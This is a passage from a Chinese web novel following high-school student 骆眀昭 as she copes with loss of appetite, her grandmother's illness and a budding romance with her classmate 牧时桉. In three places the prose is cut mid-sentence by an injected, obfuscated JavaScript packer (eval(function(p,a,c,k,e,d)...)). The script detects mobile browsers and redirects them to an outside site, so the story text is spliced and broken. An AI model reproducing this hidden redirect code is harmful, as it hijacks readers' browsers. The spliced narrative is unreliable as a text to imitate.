骆眀昭整理着校服从卧室出来,歪着头看向窗外滴滴啦啦的雨滴。 王乐萍叫她:“过来吃饭吧。” “好。”她把书包挂在椅背上,慢悠悠坐在椅子上。 王乐萍帮她盛了一碗蛋花汤,又夹给她一个厚蛋烧,上面挤着番茄酱。 骆眀昭笑了:“妈耶,怎么是鸡蛋盛宴啊,全是鸡蛋。” “挑三拣四,能吃就不错了,还给我挑。”王乐萍白她一眼,用手指狠狠点了一下她的脑袋。 王乐萍可没收劲,骆眀昭吃痛地抱着头,不敢反抗。 骆齐最近都在医院陪床,人不在家,吃早餐的人就只剩母女两个。 骆眀昭用筷子夹起切好的厚蛋烧,咬了一口配着番茄酱绝了,吃完一口还要抱着碗喝汤。 “要不我开车送你去上学?看这雨不小。”王乐萍提议。 骆眀昭仰头喝完一整碗汤后,摇了摇头:“不用,我跟牧时桉一起走。” 王乐萍不可置否:“也行。” “我吃完了。”骆眀昭放下筷子。 “就吃这么点啊?”王乐萍看着还有多半盘的厚蛋烧,愣住,“你吃饱了吗?” 骆眀昭提起书包带,就准备走:“我吃饱了。” “等下。” 叫住骆眀昭,王乐萍转身进厨房拿了个饭盒,随后又把剩下的厚蛋烧全装进去。“你拿着去班里,跟小牧和那个小璇分着吃,就吃那么点,你肯定会饿。” 骆眀昭手里被硬塞进饭盒,她可没有忤逆母上大人的胆子,只能老实照做。 捧着饭盒换鞋,推开门,牧时桉就已经站到楼道里等着她,从那天医院回来以后,两人就没见过,只打过视频电话。 关上门,骆眀昭笑着,展示手里饭盒:“看,我妈专门给你拿的哦。” 牧时桉垂下眼看她,顿了顿。 “是不是瘦了?” 70. 鸡丝凉面 骆眀昭变瘦这事,开始除了牧时桉有察觉,其余好友都没太注意到。 主要是开了学,这高三生活实在是过分紧迫了些,首先每天早晚上学放学时间有变,早上六点四十进班,晚上十点放学,从前午休时间还有人趁着这时候学习,现在清一色地埋头睡觉。 而且周末也从宽松的双休改为单休,就剩周日那么一天休息日,那作业的量,这一天休与不休又有多大的区别呢?学生脑子里那根弦都被高高吊着,另一端绑着的是教室里张贴的励志标语。 进入九月,秋老虎依旧不容小觑,午餐时间又晒又闷,新一届八中军训学生,墙挂雨神照片求了半个月也没能求到一天雨,这半个月都是艳阳高照的天气。 实在是吃了一年食堂的饭,再美味也腻味得不行,校门口那些小商小贩捕捉商机的能力也是很敏锐,仿佛雨后春笋般,一夜之间开了许多家小馆子。 林雨彤是在跟好姐妹挽着手在等红绿灯时,忽然感觉到握住的手腕少了许多从前那种肉嘟嘟软绵绵的感觉,才后知后觉地扭过头就这骆眀昭的五官细细端详起来。 “骆眀昭,你是不是瘦了?”她托起骆眀昭的脸,左看右看。 梁若璇闻声扭过脸来,也仔细地贴着她瞧着:“真的哎,以前下巴是圆的,现在都露出尖来咯。” 骆眀昭愣着,下意识地伸手摸上自己脸,虽然还有没消下去的婴儿肥,但确实很明显地脸颊肉减少,变瘦这事她自己是没有意识到的。 “估计是最近学得太专注吧?”她翘起嘴角笑着,“学习使我香消玉减。” 斑马线的红灯变绿,三个姐妹手挽手走着,林雨彤笑骂:“你是学习呢?还是悄悄躲在被窝里看《甄嬛传》啊!” 两个男生还是走在他们身后,牧时桉听完全程对话,插着兜没说话。 作为骆眀昭的同桌,甚至每天陪着上学放学,他很早就意识到她食欲减少这件事。 不仅不像从前,总是在各种美味摊位前走不动道,也不会在补充自己储物柜里的零食,甚至偶尔去个小卖铺也只是买买学习用品,不会再抱着零嘴回班。 偶尔走神,整个人状态也算不得好,这些他全都看在眼里。 气温仍旧居高不下,三个女生快步走入树荫里,试图隔绝这炽热的太阳光。 “我听我们班同学说,这家凉面特别好吃。”林雨彤指着一家很小的店门说道。 骆眀昭有些好奇:“你们班还剩多少同学啊?” “我们还算好的,文科班就剩十一个人,每天上课那叫一个凄惨,”艺考集训走了不少学生,林雨彤调侃着,“这下是真的实现小班教学。” 五人相继走进这家门店,店面不算大,总归也没几张桌子,是不过他们来得时间挺好,刚好有一桌客人刚走,老板娘帮忙清理饭桌后大家便随之入座。 “雨彤,你什么时候集训啊?”梁若璇随口问了一句。 林雨彤正抬头看着挂在墙上的菜单,闻声说:“我们机构十一月底封闭集训,差不多一直到三月份校考我都不在学校。” 骆眀昭愣了一下,眼神落在林雨彤身上,忽然升腾起丝丝不舍情绪:“啊,四个月呢?你要走这么久啊?” 她还从来没跟林雨彤分开过这么久,从认识以后,最多就隔上一个月她们就又能再次见面。 “干嘛,舍不得我啊,”她笑着,“我人又不是不回来,放心吧。” 薛游成天想些乱七八糟的:“林大小姐是不是考完试回来就是大明星了?我经常能刷到那种艺考考场外的考生摄影,然后人就火了。” “你有病啊,那不是满世界都是大明星了。”林雨彤笑得不行。 骆眀昭正要叫老板娘点菜,无意中抬头却看到对面梁若不算好看的神色,与她身旁被薛游逗得爆笑的林雨彤形成鲜明对比,看着太明显了。 也许是感知到有人正看着自己,梁若璇反应过来眼神微微闪躲,抓起矿泉水瓶的动作更像是掩耳盗铃。 她,这是怎么了? “你们点什么?”梁若璇主动开口问,最后五人都是鸡丝凉面。 这种菜出餐很快,也就三两分钟五盘凉面就全部上齐。 正不正宗不知道,毕竟在坐这五个都没去过四川,但凉面确实很是消暑,尤其骆眀昭觉得芝麻酱掺花生酱,这个组合无论拌什么应该都很好吃吧。 她夹起一筷子来,送入口中是真的很爽口。 骆眀昭一口口慢悠悠吃着,但也不知道想些什么,吃着吃着就走了神,眼神不再有焦点。 “骆眀昭?喂?”耳畔忽然传来什么声音,让她猛然间惊醒,回过神来时,一次性筷子就顺着她的手里滑落到桌面上,发出“啪嗒”两声。 骆眀昭顺着那声音的方向看过去,牧时桉有些焦急的神色落在她脸上,也不知不觉地握住她纤瘦的手腕:“你怎么了?” 不算宽敞的饭桌上,所有人都在看着她。 “我?”她忽然被问住,“我没怎么啊?就是有点走神,没事哈。” 一场小插曲很快过去,很快氛围便恢复原状,只有牧时桉仍总是不是侧目瞧着她,眉毛拧成一团。 又过一阵,林雨彤吃完最后一口凉面,开口说:“还有时间,我要去趟文具店买两根笔,璇子骆眀昭你俩吃完没,走啊?” 两个女生也已经吃完午餐,随后点头表示同意,准备起身。 “我们去吧,你俩一会儿先回去吧,”骆眀昭放在筷子,调整了下刘海,正扭过身准备像往常那样拍拍牧时桉的头发表示亲密,却不小心瞧见牧时桉嚼东西的模样。 很机械,很生硬,如她初见牧时桉那般,像是未经调试的人工智能机器人。 那感觉很怪,骆眀昭曾跟林雨彤形容过,她看牧时桉吃饭就仿佛在听指甲去一下下地蹭那种老式磨砂玻璃黑板,那种尖锐的声音刺激着杏仁核,令人感觉心底发毛,不适感加剧。 她怔愣着盯住他几秒,牧时桉察觉到她在看自己,赶紧偏开头很快速地将食物咽下去,只是这次,反应格外剧烈。 一阵不知名地恶心涌上来,骆眀昭干呕一声,赶紧猛地捂着嘴,拼命忍住那股上涌的反胃感,一只手扒开过道里的人,冲向餐馆里的卫生间,关上门。 很快,呕声从洗手间隐隐传出来,店里的所有客人都纷纷皱着眉,不知是在介意这种不合时宜的声音,还是在怀疑店里是不是有什么食品安全隐患。 老板娘也闻声从后厨出来,面色焦急,骆眀昭再从卫生间出来时,又拿了瓶矿泉水进去,她疯狂漱口把一整瓶水都损耗完,苍白着脸从卫生间出来。 “姑娘,你没事吧?”老板娘赶紧上前,牧时桉和林雨彤她们也纷纷涌上来。 骆眀昭无力笑了一下:“阿姨,矿泉水多少钱啊?我还没付钱呢。” “这孩子,现在还顾得这事。”老板娘说。 牧时桉神色紧张地搀扶着她,骆眀昭朝着他摇摇头,心里还惦记着扫码付钱。 中午吃的那点东西全被她吐了出去,食道反流胃酸灼烧着她的嗓子,骆眀昭付完钱,哑着嗓子跟店里一众食客说:“抱歉啊大家,我可能是中暑了,难受跟阿姨的菜没有任何关系,打扰大家吃饭真的很对不起。” 被牧时桉扶着从店门走出来时,骆眀昭整个身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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唬住了姐妹们,她紧紧抿着唇,不知道在想着些什么。 医务室里有个打球摔伤的男生,医务老师正在处理,轮到骆眀昭时耽误了一会儿。不过藿香正气这种常备药,学校医务室也很好找,医务老师给骆眀昭几瓶,又嘱咐她回去多喝温水。 梁若璇跟骆眀昭回班时踩着午休铃,进门牧时桉已经坐回到了座位上,偏过头一直看着后门。 “怎么样?”他问。 “我没事了,真的,”骆眀昭调整了下座椅,看到桌上不仅有杯温热的粥,还有好几种糖果,有柠檬硬糖、薄荷糖这种,“你还买了糖啊?” 牧时桉低声说:“怕你吃药嘴里苦。” “我是小孩子吗?而且也买太多了吧?”她笑。 教室里愈发安静,走廊里也传来很轻的脚步声,应该是来查午休的学生会。 骆眀昭伸手攥着那包装,塑料袋沙拉拉地响着,她压着快要漫出来的暖意,小心地把糖果塞进桌兜里。 她侧过目光看了牧时桉一眼,他的眸光暗下去,少年的沮丧与不安几乎是写在脸上,那感觉都不像牧时桉了。 骆眀昭收回视线,伸出手撕下一场马卡龙色的便利贴,俯下身用水笔在上面刷刷写着,随后把纸条贴在他桌上。 牧时桉愣了一下,伸手接过。 骆眀昭:[不要自责,这真的跟你没有任何关系^_^。] 牧时桉握着那纸,长长地吐出口气。 她真的是,这话能骗得过谁呢?刚刚发生什么,都心知肚明的啊—— 都是因为他。 71. 手撕包菜 进了九月,今年绮城一场场秋雨不断,书包里的雨伞就没有敢放出去的日子,就怕一个突然袭击,被忽如其来的疾风骤雨淋成落汤鸡。 骆眀昭托着下巴望向窗外,天空又是黑乎乎的,一楼走廊里从后门隐隐漫进来的泥土味,很潮让人感觉不喜欢。 她已经很久都没睡过一个好觉了,每每寂静的深夜闭住眼,脑子里就是那些久久挥散不去的梦魇,折磨她的精神,骆眀昭也试过吃些软糖褪黑素或是各种促进睡眠的方面,有用但是效果甚微。 幸好她不是什么爱长黑眼圈的体质,不然来到学校里一定有人惊呼,八中惊现国宝熊猫。一定是这该死的鬼天气,在扰她清梦。 铃声打响,上午最后一节自习课结束,安静的教室里顿时喧闹,同学们争着来教室后排或是走廊里找自己的雨伞,它们都被撑开晾着。 她刚放下手里的笔,就感到身侧有人起身,蹭着校服面料沙沙地响,骆眀昭赶紧扭过身,果然是牧时桉要溜。 秋雨寒凉,他连校服外套都没准备穿,清瘦冷白的手臂露在外面,握着未撑开的长柄伞就要默不作声地离开教室。 自那次在学校门口小面馆里,她吐了一次后,后来某天她又吐了一回,还是同样的原因,谁都不知道为什么她现在反应会如此之大,但总是牧时桉是怕了,从那以后每每饭点,他都独自躲出去,大概是去了校外因为食堂没有见到他人,等到用餐时间结束,他再一个人回来。 “喂,你别走了——”骆眀昭也眼疾手快,抓住他的衣摆,没用劲,但牧时桉感受到这股阻力就即刻停了下来。 牧时桉随之转过身来,视线掠过衣角下的女生的手,又慢慢抬眼看着骆眀昭。 可能是因为教室没开灯室外的光线又不好,显得望向他的那双眼睛湿漉漉的 骆眀昭抓了一下,见人动作停下又很快收回动作,毕竟她和牧时桉还是很克制的,开学都快一个月学校里还是没人发现端倪。 “这雨下了一上午,外面肯定都是积水,把衣服弄湿会很难受。” 他唇边清清淡淡勾着,却不是什么发自肺腑的笑意:“没事。” 骆眀昭赶紧说:“我说真的我想补觉,昨天没睡好,中午我就不去吃饭了,你去跟小璇他们一起吃饭吧,回来的时候给我带个面包回来,可以吗?” 她眨巴眨巴眼睛,有点撒娇的意思,她还很少跟牧时桉这样过。 牧时桉看着她,轻叹口气,最终还是顺着她:“你要吃哪个?” “都行,随便买吧,”骆眀昭还顺带指挥着他,“以及帮我把午休的枕头从储物柜里拿出来,我懒得动,比心。” “你要当树懒吗?”牧时桉从她的柜里帮她拿,他笑着说。 “不行吗?”接过枕头,骆眀昭没忍住捏着柔软的棉花狠狠蹂躏,让他忙起来,某种程度上也能减轻些他的负罪感。 骆眀昭摆摆手:“去吧,小璇把他带走。” 牧时桉一步三回头地离开,骆眀昭忽然想笑,这家伙是不是有点崩人设了? 教室里人不剩几位,她伸长脖子巡视一圈,还有几个似乎是在埋头学习中,真卷啊,她不禁感慨,有人出声她反而也睡不着,还不如也跟着先学学,总归都离开教室的时候,不能全不吃饭吧? 骆眀昭拿起笔,抽出本数学习题册刷了一会儿,对完答案放下笔时,本以为教室里肯定没有人了,可空荡安静地教室里,竟在她面前还有个后脑勺。 林以征?他什么时候回来的? 上节自习课他人就不在,不过教师集体都去开会了,也没人会在乎一个不见踪影的男生,而且他似乎总是这样,时不时座位就是空的。 外面下雨所以没开窗户,她皱起鼻子嗅嗅,有股烟草味。 一个令人摸不清头脑的人,骆眀昭这样想着,她把摊开的练习册合住收好,从一旁拿过冷落许久的枕头来。 “你不去吃饭吗?”身前忽然传来林以征的声音,听不出任何情绪,只能靠着句尾一点点微不可查的上扬,能判断出这是个问句。 他声音带着些许久未开口说话的干哑,也或许是因为烟草的原因,给人感觉是身处干涸许久的河道。 骆眀昭抬起头来,没想到他居然会出声问自己,实在是他平时就给人一种,世界上任何事都与他来说都无关紧要的即视感,即使偶尔她或是别人拿着习题去问他,林以征都是不带任何情绪的高效讲解,怎么形容呢? 像是这个世界的NPC。 “准备补个觉,懒得吃了。”骆眀昭回说。 林以征了然地点了下头,眼神落在她脸上:“最近睡得不好?” “额,是有点。”她愣了一下,诧异的不是他忽然关心,而是他如何看出来的。 林以征仔细盯着她看了几秒,随后扭过身,只留一句:“可以吃点安眠药。” 骆眀昭:啊? 他认真的?这是学霸的冷幽默还是什么别的—— 但林以征好像也没有一定要让她回答自己的意思,自顾自地转过身,紧接着不远响起那种很脆的翻页声,一听就是学校那种很薄很劣质的自印试卷。 淅淅沥沥的雨声一直在耳边响着,在学校里会睡得很好,这是骆眀昭对自我的观察,每次午休时间若不是有牧时桉在一旁唤她,她根本醒不来。 “下次尝试,”骆眀昭出声回他,她假定这是个认真的建议,随后又调整了下怀里的午睡枕,“少抽点烟吧,对身体不好,而且容易被老师闻见。” 说完,就闭上眼,整张脸舒服地埋进枕头里。 林以征握着笔的手一顿,而几秒后,一切再次恢复正常。 - 雨终于在天黑那会儿,舍得放过绮城,总是下雨家里人也会担心,骆齐还给她在晚饭时发了条微信,问要不要接她放学。 既然雨停,骆眀昭就不让他过来了,学校门口地方就那么宽,绝对全是接孩子放学的家长。 十点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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公交车终于成功驶出路口,前一个乘客将车窗开了点缝没关,一丝丝凉风因此有了可乘之机,迫不及待地钻进来扰人。 “对不起。”很静的氛围里,牧时桉忽地开口,声音带着些颤。 骆眀昭怔住,心里闷闷地胀痛着,她把声音放轻:“做什么?这跟你没有一点关系啊,真的。” 他们肩并肩靠着,骆眀昭没再说话,不过默默地将手握得更紧。 她都知道,薛游悄悄跟她说了,牧时桉最近一直努力想改掉自己的进食习惯,偷偷躲出去除了怕她看见,还是趁着那时候,去观察别人的吃饭方式,自己笨拙地模仿着去学。 但积年累月的生活方式哪是一朝一夕能改掉的,薛游说从起他没怎么感觉到牧时桉吃饭时怪,牧时桉这么一练,绕是他都看出怪来。 “你有你的特点,别刻意去改,反而不像你了,”骆眀昭歪歪头,脑袋轻轻搭在他肩膀上,“而且这样也听挺好的,万一以后你整了容,我还是能在人群里一眼就认出你来。” “我需要整?”牧时桉挑挑眉,说着。 骆眀昭笑了:“帅帅帅,全世界最帅的就是你。” 72. 云顶茉白 故去的人已经走了,我们活着的人还是要坚强面对未来的生活—— 好像很多人都爱说这句话,骆眀昭当初也曾听到有人对她这么说。 骆姥姥出事好一阵,骆眀昭半夜睡觉都会浑身发抖抽搐,甚至尖叫,过了好一阵,吃了些药,配合着晚上王乐萍总是抱着她睡觉,她慢慢才变好了些。 无论是父母,心理医生或是其他知情人,都以为骆眀昭是亲眼见到那惨剧,导致过度惊吓才变成这样的。 “昭昭,你的手机是不是响了?”姥爷出声唤她,骆眀昭举着筷子悬空,她回过神来点亮自己的屏幕。 卅:【要喝什么?】 下面的照片,应该是在奶茶店拍摄的菜单,这个牌子新开到绮城来的,那天在教室里梁若璇还遗憾为什么没有外送服务,被她这么一撺掇骆眀昭也想尝尝来着。 她垂下头,在屏幕上面敲击字符。 昭昭是我:【什么时候想起去奶茶店了?】 卅:【上午跟薛游出来打球,球场离这里挺近的。】 骆眀昭往上翻了翻聊天记录,早上牧时桉其实告诉过她要去打球,连定位都发给她了。这地方,离那个奶茶店所在商场很近吗? 也不知道怎么想的,她搜了搜这两个地方的距离,不仅不顺路还是反方向。 是该高兴的吧,男朋友特意为了自己去买喜欢的奶茶,可为什么心头意外地堵呢?骆眀昭甚至忘记姥爷就在旁边,伸手揉揉自己的胸口,试图把瘀堵的部分就这么揉开。 骆齐向来是早上做个中饭留在锅里,中午骆眀昭和姥爷吃的时候拿微波炉叮一下就行,姥爷收起碗筷正要起身,就见自己宝贝外孙女脸色不佳。 “昭昭怎么了?身体不舒服?”他赶紧问。 骆眀昭后知后觉自己不太合时宜的动作,赶紧笑笑说:“没有,就是感觉有点吃噎到了,您吃完啦?碗放在水池里我来洗就好。” 骆姥爷的人生阅历自然能看出骆眀昭在搪塞她,不过他也没戳破,只是说:“昭昭要是有心事,一定要跟姥爷说啊。” “……”她顿了一下,又扬起唇角,“我会的。” 姥爷看着她的眼神格外意味深长,自家外孙女他了解,跟他女婿简直就是一种人,什么心事都藏着憋着。 罢了,不能强求。 骆姥爷回到房间,餐桌上就剩她一个人,手机又响了一声。 卅:【怎么不回消息。】 昭昭是我:【我不要,你回来吧。】 转念又觉着,干回这几句显得冷冰冰的,于是又在表情包里翻翻找找,发出个沙雕表情包过去。 对面没再回消息,骆眀昭也就当他理解自己意思,放下碗筷收拾桌子去洗碗 - “怎么说?你家骆眀昭要喝什么?”薛游一个胳膊搭在他肩膀上,揶揄着。 牧时桉目光还定在发着光的手机屏幕上,只是防窥膜薛游看不见,他仰头看了眼屏幕上滚动着各类奶茶,扯扯唇角有些无奈。 他是能感受到骆眀昭最近情绪变化的,那感觉像是童话里幸福的王国被恶龙占据,整个国家被阴霾笼罩着,她那股生命力为了维持着正常运转而加速损耗。 想到这,牧时桉忽然愣了一下,什么时候他总是开始用这种抽象比喻去形容一件事,好像就是从认识骆眀昭之后,他有了更多可能。 薛游见他走神,手在他面前比划几下:“你人呢?还在吗?” “活着,不用叫救护车,”牧时桉把手机放下,悠悠地说,“那就五杯招牌都点一遍吧。” “大哥,你当二道贩子啊?买这么多?”薛游瞪大眼睛。 牧时桉已经准备走到收银处点单,他挑挑眉:“想给我女朋友买,不行?” 靠! 灭霸响指真的不能只让秀恩爱的人消失吗! - 午休几乎是骆眀昭雷打不动的固定安排,洗完碗她便慢腾腾掀开被子到床上。 被柔软温暖的被子包裹着,她很容易能进入到休眠状态。 片段式的回忆在梦里呈现。 骆姥姥当初生病,骆齐他们开始也是瞒着骆眀昭,似乎大人都隐隐会带着些大人的傲慢,就会想着小孩子跟这事没关系,该做什么做什么。 只是骆眀昭也不傻,她敏锐地就能察觉到爸妈一下子就变得很忙碌,总是连吃饭都顾不得她,留钱让她自己去楼下买点自己喜欢吃的东西。 七月底天气闷热,酷暑恼人,世界在蒸笼里尽力运转,骆眀昭就是在一个中午,被骆齐告知姥姥生病在住院,要带着她下午去看望。 “很严重吗?”骆眀昭当时小脸眉头紧皱,她也担心着姥姥。 骆齐被问愣了一下,半晌点点头:“有些严重,而且她可能跟你之前看时不一样,你要做好心理准备。” “好的。” 天边太阳高悬,骆眀昭跟着骆齐进入第一医院大门,住院楼一进去,凉爽的冷气顿时消下去全部热意。 除了二附外,她没怎么去过别的医院,味道都是一样,浓重的消毒水味,不过她还是好奇地左看右看,直到进入电梯,到了神外科住院病房。 她到现在还记得,姥姥的病房在走廊尽头左手边第一间,是一间单人病房,病房里只有一张床,房间不大,当时还没请护工,所以照顾人的工作是王乐萍来。 “我们来了。”骆齐朝着病房里说。 骆眀昭站在病房里,只能看见王乐萍的背影,她刚好挡住了病床上老人的脸。 王乐萍脸色很憔悴,她勉强笑笑,朝着骆眀昭挥手:“来啦,快过来——” …… 耳边微信电话声持续在响,骆眀昭挣扎着睁开眼,听着这熟悉的声音缓和一下午休清醒后的心慌。 她每个朋友都单独设定了来电铃声,给牧时桉设置的是当初在公交车上,他们一起听的《ILoveYou3000II》。 “喂,咋啦?”她接起电话,可能因为刚睡醒,所以听着语气娇娇的。 牧时桉的声音在听筒里传来:“我在你家门口。” 在门口? 骆眀昭低头看了眼自己的穿着,除了头发乱之外,好歹是能见人的:“你等我啊,我马上。” 她翻个身下床,踩着拖鞋就赶紧跑到玄关门口,推开门,牧时桉高大的身影就在眼前,他站得不算板正有些懒懒散散的,手里倒是不空闲,手里满满当当提着两个袋子。 骆眀昭的目光肯定是先被人吸引,其余什么的都是靠边站,他额前的头发乖顺地垂着,嘴角小幅度地上扬:“刚睡醒?” “对啊,吃完饭当然是要睡觉的,你这是刚回……”骆眀昭堂堂正正,手还是忍不住把刘海调整一下,她无意识地视线往下挪了些,“你买了多少!” “还行,五杯。”他说。不过也没想到就这五杯小甜水,居然能等这么久。 骆眀昭手扶着门框,眼睛瞪得老大:“我不是说不用吗?” 牧时桉眯起眼来:“我想喝不行吗?” 你有本事就全喝光!骆眀昭装模作样瞪他一眼。 这人平时从不喝奶茶她又不是不知道。 “不尝尝?”牧时桉手将包装袋举起,在她面前晃晃。 反正他买都买了,骆眀昭也没办法:“就在楼道里喝啊?你要不进我家来吧,我姥爷午觉睡得很死,咱俩悄悄的别让他发现。” 牧时桉愣一下,他倒是不愿意往歪了想,但这话听着总感觉哪里怪怪的,他喉结上下滚动着,脸色有些不自在。 骆眀昭一开始也没反应过来,只是她的声音在寂静的楼道里被放大了些,传到她耳朵里,她这才后知后觉地耳根变红。 怎么说的、那么像是在偷情啊—— 倒也不怪骆眀昭多想,高一那会儿,青春期旺盛的探索欲萌芽乃至迅速发展,在班里莫名开始流传了一个小网站,她跟林雨彤也第一次看了带颜色的片子,高清而且毫无任何马赛克遮挡,直白的视觉刺激,确实是一种对灵魂的大震撼。 后来也看过几次,但都没第一次带给她的冲击深,主要为数不多的剧情也很炸裂三观,一男一女两个演员在一个貌似是熟睡的男人旁,奋力地完成着他们的拍摄工作。 这剧情,是不是眼熟了点。 “咳,算了,去我家吧,我家没人。”牧时桉清咳一声,只是有引子在前,这话听着也总觉得不太对劲。 真的人黄,听什么都是黄色的,骆眀昭如此感慨。 骆眀昭挪开目光:“……嗯,那你先上去,我给我姥爷留个字条,再换个衣服啊。” “嗯……” 关上门,骆眀昭稍微使了些劲拍着她的脸,试图让自己清醒一点。 她快步回到房间里,换掉自己的家居服,穿了条阔腿的休闲裤和短袖,又留了张字条贴在姥爷卧室门上,告诉他自己去楼上朋友家,有事可以电话联系她能马上下楼。 拿着钥匙和手机推门出去,上楼梯时不知道为什么心脏老是在跳,跳得她挺烦的。 喝个奶茶而已,又不是去干什么坏事,紧张个屁!她这么暗示自己。 不过自从两个人在一起后,骆眀昭就没来过牧时桉家,从前偶尔来蹭个饭什么的也算自在,可当下这身份一变,紧跟着这心态也得变。 牧时桉家没关门,留个缝敞开着,她呼出口气拉开门,玄关处给她准备的拖鞋还在门口。 换了鞋她关门进去,牧时桉也换了件短袖出来,五杯奶茶全放在茶几上。 孙慧阿姨回老家去了她知道,牧叔叔呢? “你爸爸呢?”骆眀昭走到沙发上坐着,随口问了一句。 牧时桉慢腾腾地走近沙发,不过他没坐骆眀昭旁边,而是径直坐到那个单人沙发上,轻声开口:“去参加同学聚会。” 他在一旁说着,骆眀昭已经伸手去解开奶茶包装袋了,房间里冷气还没完全起效果,打开袋子一股凉意涌向上,她伸着脑袋朝着袋子里看。 倒是不笨,知道都买中杯的。 她一杯杯全拿出来,很果断地每杯都插上吸管,搞得像是什么品鉴大会一样。 “早知道你最后还是买了,我那会儿真该选一杯的,”骆眀昭悔意上头,双手撑在身旁,小腿一下下晃着,“这我先喝什么?” 花花绿绿的,看着都很不错的样子。 牧时桉也有些倦意,毕竟被薛游拽着打了一上午球,懒散地靠着沙发,歪头看她:“看你喜欢啊,不行就按你平时的,点小公鸡喽。” 是个办法。 “小公鸡点到谁我就选谁……” 先被选中的是一杯葡萄果茶,不过这种口味每家品牌味道都差大差不大的,喝不出区别的好喝,后面喝的三杯同样都是大众口味。 最后一杯叫云顶茉白,茉莉花茶底掺杂着奶香,而且她还似乎还嚼到了碧根果碎。 “这个还挺好喝的。”骆眀昭把这最后一杯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14328781|143342||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴冲冲举起来时眼前忽然闪过白光。 她愣了一下,却看牧时桉侧靠着扶手摆弄的东西很眼熟,眨巴着眼:“我当时给你买的来拍照,你都拍我算怎么回事。” 那是骆眀昭上次送给他的胶片相机,但就她见过的几次拍照,都是牧时桉用它拍自己。 “记录生活,你不也算我生活的一部分吗?”他倒是挺有理的。 这人能不能不要每次说这种话时,这么理直气壮! 这空调好像不怎么顶事,她现在还挺热的。 她原本从进门开始,人就热得厉害,越呆就感觉越燥,骆眀昭伸手随便捏住一杯,都不算太凉,可能因为他点的时候就都是去冰的原因。 “咳,那杯挺好喝的,你也尝尝,”他买的总不能一口不喝,而且估计是因为买得多,人家店员多给了好几个吸管,她附身正往去够,“给你吸——” 却见少年已经拿着她那杯,对着吸管喝了一口。 “……那杯,我喝过的。”她愣着说了一句。 牧时桉专注地调着这相机,也没注意她说什么,正好回来这么久他还没喝水,有些渴了。 他也愣了,举着那杯冰奶茶不知道是该放下还是怎样。 间接接吻?算吗? 骆眀昭心里忽然升起了这个想法,而且分明刚刚喝了好几口奶茶,现在还是口干舌燥的。 “为什么要买奶茶,我那会不是说不用了吗?”她直勾勾地盯着他看,好像非要问出个究竟来。 牧时桉大概没想到话题跳如此之快,他放下奶茶杯,声音淡淡的:“你最近好像很累,好像是因为我,但又不只是因为我,我只能用这方式哄你开心。” 他垂眸看她,目光却炙热,在这种事上牧时桉得承认他有点不开窍,若是能有任何当下哄好她的办法,他是一定去做的。 骆眀昭忽然感觉脑袋有些发懵,眼眶发热,胸口发闷,反正总结一句话,那就是身子仿佛不是她,有一把火猛烈燃烧。 屋内安静,仅仅能听到彼此的起伏着的一呼一吸,午后世界按下暂停键,两个少年却像是冲破这份宁静,青涩情意鼓噪喧闹。 下一秒,骆眀昭只感觉自己手腕被人握住,天旋地转之间,她就已经被拽到牧时桉的胸前,即便隔着布料,也能感受到皮肤烧得像是火。 少年骨节分明的手抚上她的头发,轻轻压着她与自己贴近,一只手臂又虚虚地环着她的腰,柔软的唇瓣就这样贴近,骆眀昭眼睫轻眨着,心脏完全不受控制地在跳,但她能感觉到面前这个人,心跳频率不比她慢。 她能嗅到牧时桉身上很浅的沐浴露味,他爱干净,必定是结束了运动就立马去洗澡。 牧时桉喉结滚动着,少女身体果香也清晰诱人混杂着奶茶甜香,他忍不住轻轻抵住她额头,这似乎是更亲密放肆的动作,嘴唇就这样随之轻轻分开,一个生涩又短暂的亲吻,是情难自已也有手足无措。 两双干净的眼睛里都蒙上了一层雾色,呼吸逐渐加重,骆眀昭勾着他的脖子舍不得放开。 她声音软得要命,带着一点点微不可查的哭腔:“牧时桉,你别对我好了。” 我是个很坏很坏的家伙。 空气热烈又失控,他们就这么感受着彼此呼吸,骆眀昭思绪混乱,她记起她未能做完的后半节梦—— 骆眀昭跟在骆齐的身后小心进屋,在她未进房间里便听到些音调诡异的哼声,骆眀昭心就这么悬着,她越发走进,王乐萍恰好闪身,躺在病床上的老人就这么进入骆眀昭的视线范围中。 老人没了她记忆中的容光焕发,双目无神地盯着房间某处,嘴唇发白轻微张开着甚至朝着一遍歪斜,像是被掏空灵魂的傀儡一般。 骆眀昭怔怔地看着,像是忘了呼吸,喉咙梗着,干涩,万遍情绪涌上,其中最强烈的,是恐惧。 她脚步定在原地,不敢上前,她躲在骆齐身后,垂下来的手控制不住在抖。 “骆眀昭快过来跟姥姥说说话,”王乐萍察觉到女儿的异状,但只当是震惊,转而又俯下身在老人耳畔,“妈,你还记得吗?这是昭昭,你的外孙女。” 骆姥姥像是听懂了,又或是没懂,总之她讲不出话来,只能靠着原始的嘶吼声来做反馈,那声音又尖锐又没有规律,一声高过一声。 王乐萍赶紧安抚她:“妈,妈,没事。” 骆眀昭心跳越发变快,头皮已经彻底麻掉了,两腿发软,好在是捏着骆齐的衣角能维持站立姿势。 骆齐轻声劝说:“放松,没事的,上去看看姥姥。” 只是那时骆眀昭她人已经彻底崩溃了,完全听不进别人的话,就只摇着头一步步往后撤。 身体和精神长期疲惫损耗着王乐萍的心力,她也没了平时的耐心:“行了,不愿意过来就赶紧出去吧。” 